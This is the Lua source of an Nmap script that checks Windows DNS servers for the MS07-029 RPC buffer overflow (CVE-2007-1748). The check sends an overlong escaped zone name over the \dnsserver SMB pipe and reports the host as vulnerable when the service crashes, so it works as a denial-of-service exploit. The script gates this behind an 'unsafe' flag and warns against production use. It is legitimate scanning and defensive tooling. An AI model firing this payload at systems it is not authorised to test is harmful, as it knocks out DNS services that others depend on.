local msrpc = require "msrpc"
local nmap = require "nmap"
local smb = require "smb"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
local vulns = require "vulns"
description = [[
Checks for vulnerabilities:
* MS07-029, a Windows Dns Server RPC service vulnerability
WARNING: These checks are dangerous, and are very likely to bring down a server.
These should not be run in a production environment unless you (and, more importantly,
the business) understand the risks!
As a system administrator, performing these kinds of checks is crucial, because
a lot more damage can be done by a worm or a hacker using this vulnerability than
by a scanner. Penetration testers, on the other hand, might not want to use this
script -- crashing services is not generally a good way of sneaking through a
network.
If you set the script parameter unsafe
, then scripts will run that are almost
(or totally) guaranteed to crash a vulnerable system; do NOT specify unsafe
in a production environment! And that isn't to say that non-unsafe scripts will
not crash a system, they're just less likely to.
If you set the script parameter safe
, then script will run that rarely or never
crash a vulnerable system. No promises, though.
MS07-029. Vulnerability targets the R_DnssrvQuery()
and R_DnssrvQuery2()
RPC method which is
a part of DNS Server RPC interface that serves as a RPC service for configuring and
getting information from the DNS Server service. DNS Server RPC service can be
accessed using "\dnsserver" SMB named pipe. The vulnerability is triggered when
a long string is send as the "zone" parameter which causes the buffer overflow which
crashes the service.
]]
---
--@usage
-- nmap --script smb-vuln-ms07-029.nse -p445
-- sudo nmap -sU -sS --script smb-vuln-ms07-029.nse -p U:137,T:139
--
--@output
-- Host script results:
-- | smb-check-vulns:
-- |_ MS07-029: NO SERVICE (the Dns Server RPC service is inactive)
--
-- @args unsafe If set, this script will run checks that, if the system isn't
-- patched, are basically guaranteed to crash something. Remember that
-- non-unsafe checks aren't necessarily safe either)
-- @args safe If set, this script will only run checks that are known (or at
-- least suspected) to be safe.
-----------------------------------------------------------------------
author = "Ron Bowes"
copyright = "Ron Bowes"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive","exploit","dos","vuln"}
-- run after all smb-* scripts (so if it DOES crash something, it doesn't kill
-- other scans have had a chance to run)
dependencies = {
"smb-brute", "smb-enum-sessions", "smb-security-mode",
"smb-enum-shares", "smb-server-stats",
"smb-enum-domains", "smb-enum-users", "smb-system-info",
"smb-enum-groups", "smb-os-discovery", "smb-enum-processes",
"smb-psexec",
};
hostrule = function(host)
return smb.get_port(host) ~= nil
end
local VULNERABLE = 1
local PATCHED = 2
local UNKNOWN = 3
local NOTRUN = 4
local INFECTED = 5
local INFECTED2 = 6
local CLEAN = 7
local NOTUP = 8
---Check the existence of ms07_029 vulnerability in Microsoft Dns Server service.
--This check is not safe as it crashes the Dns Server RPC service its dependencies.
--@param host Host object.
--@return (status, result)
--* status == false
-> result == NOTUP
which designates
--that the targeted Dns Server RPC service is not active.
--* status == true
->
-- ** result == VULNERABLE
for vulnerable.
-- ** result == PATCHED
for not vulnerable.
-- ** result == NOTRUN
if check skipped.
function check_ms07_029(host)
--check for safety flag
if(nmap.registry.args.safe ~= nil) then
return true, NOTRUN
end
if(nmap.registry.args.unsafe == nil) then
return true, NOTRUN
end
--create the SMB session
local status, smbstate
status, smbstate = msrpc.start_smb(host, msrpc.DNSSERVER_PATH)
if(status == false) then
stdnse.debug1("check_ms07_029: 1-false")
return false, NOTUP --if not accessible across pipe then the service is inactive
end
--bind to DNSSERVER service
local bind_result
status, bind_result = msrpc.bind(smbstate, msrpc.DNSSERVER_UUID, msrpc.DNSSERVER_VERSION)
if(status == false) then
stdnse.debug1("check_ms07_029: false")
msrpc.stop_smb(smbstate)
return false, UNKNOWN --if bind operation results with a false status we can't conclude anything.
end
--call
local req_blob, q_result
status, q_result = msrpc.DNSSERVER_Query(
smbstate,
"VULNSRV",
string.rep("\\\13", 1000),
1)--any op num will do
--sanity check
msrpc.stop_smb(smbstate)
if(status == false) then
stdnse.debug1("check_ms07_029: DNSSERVER_Query failed")
if(q_result == "NT_STATUS_PIPE_BROKEN") then
return true, VULNERABLE
else
return true, PATCHED
end
else
return true, PATCHED
end
end
action = function(host)
local status, result, message
local response = {}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host)
local vuln_table = {
title = 'Vulnerability in Windows DNS RPC Interface Could Allow Remote Code Execution (MS07-029)',
state = vulns.STATE.NOT_VULN,
description = [[
Stack-based buffer overflow in the RPC interface in the Domain Name System (DNS) Server Service in
Microsoft Windows 2000 Server SP 4, Server 2003 SP 1, and Server 2003 SP 2 allows remote attackers to
execute arbitrary code via a long zone name containing character constants represented by escape sequences.
]],
IDS = {CVE = 'CVE-2007-1748'},
references = {
'https://technet.microsoft.com/en-us/library/security/ms07-029.aspx'
},
dates = {
disclosure = {year = '2007', month = '06', day = '06'},
}
}
-- Check for ms07-029
status, result = check_ms07_029(host)
if(status == false) then
if(result == NOTUP) then
-- table.insert(response, get_response("MS07-029", "NO SERVICE", "the Dns Server RPC service is inactive", 1))
vuln_table.state = vulns.STATE.NOT_VULN
else
-- table.insert(response, get_response("MS07-029", "ERROR", result, 0, 1))
vuln_table.state = vulns.STATE.NOT_VULN
end
else
if(result == VULNERABLE) then
-- table.insert(response, get_response("MS07-029", "VULNERABLE", nil, 0))
vuln_table.state = vulns.STATE.VULN
elseif(result == NOTRUN) then
vuln_table.state = vulns.STATE.LIKELY_VULN
vuln_table.check_results = "CHECK DISABLED. Add '--script-args=unsafe=1' to run"
else
-- table.insert(response, get_response("MS07-029", "NOT VULNERABLE", nil, 1))
vuln_table.state = vulns.STATE.NOT_VULN
end
end
return vuln_report:make_output(vuln_table)
end